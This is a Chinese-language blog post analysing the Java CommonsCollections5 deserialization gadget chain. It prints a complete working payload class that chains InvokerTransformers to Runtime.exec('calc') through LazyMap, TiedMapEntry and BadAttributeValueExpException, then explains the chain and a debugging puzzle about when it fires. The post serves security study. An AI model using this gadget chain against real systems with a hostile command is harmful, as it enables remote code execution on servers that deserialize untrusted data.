java反序列化CC5奇怪现象记录#

CC5可以看作是CC6的衍生,主要是TiedMapEntry.getValue()方法调用上,CC5存在独特的一条链

首先贴出payload

package commonscollections3;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5 {
    public static Object generatePayload() throws Exception {
        ChainedTransformer Transformerchain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,Transformerchain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);
        return poc;
    }
    public static void main(String[] args) throws Exception {
        payload2File(generatePayload(),"obj");
        payloadTest("obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

利用链

BadAttributeValueExpException.readObject()
	TiedMapEntry.toString()
		TiedMapEntry.getValue()
			...CC1

这段是BadAttributeValueExpException.readObject()的代码

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

这里需要将valObj赋值为TiedMapEntry,这样才能调用toString(),而valObj是通过反序列化后的对象中拿到属性名为val的值,所以CC5的payload中通过反射将val字段设置成了TiedMapEntry。

所以原本CC5的逻辑是在val = valObj.toString();这里调用TiedMapEntry.toString()对吧,但是我在调试的过程中发现并不是这样的。

当我调试断点打在else if (System.getSecurityManager() == null这里时,调试的确走到了这里,按照CC5的逻辑,此时TiedMapEntry.toString()方法并没有调用,那么后续的利用链也不会触发,但诡异的是,计算器此时已经弹了出来。也就是说利用链在valObj.toString()之前就已经触发了。

经过我的调试,我发现在这一步Object valObj = gf.get(“val”, null);进入断点时,利用链还未触发,而点击step over后,计算器弹了出来。那么是这里的get方法内部有toString方法触发了利用链吗?

经过step into调试发现也没有toString方法,那为什么会触发利用链?grok3的解释之一是idea的一个debugger选项的问题,Enable ‘toString()’ object view这个选项在调试代码时会意外触发toString方法,但在关闭选项后仍然提前触发了。

还有两个解释是JVM内部在反序列化的过程中调用了toString方法或者是jdk版本原因。我使用jdk8u191也是提前执行了,所以具体是哪个问题也不得而知。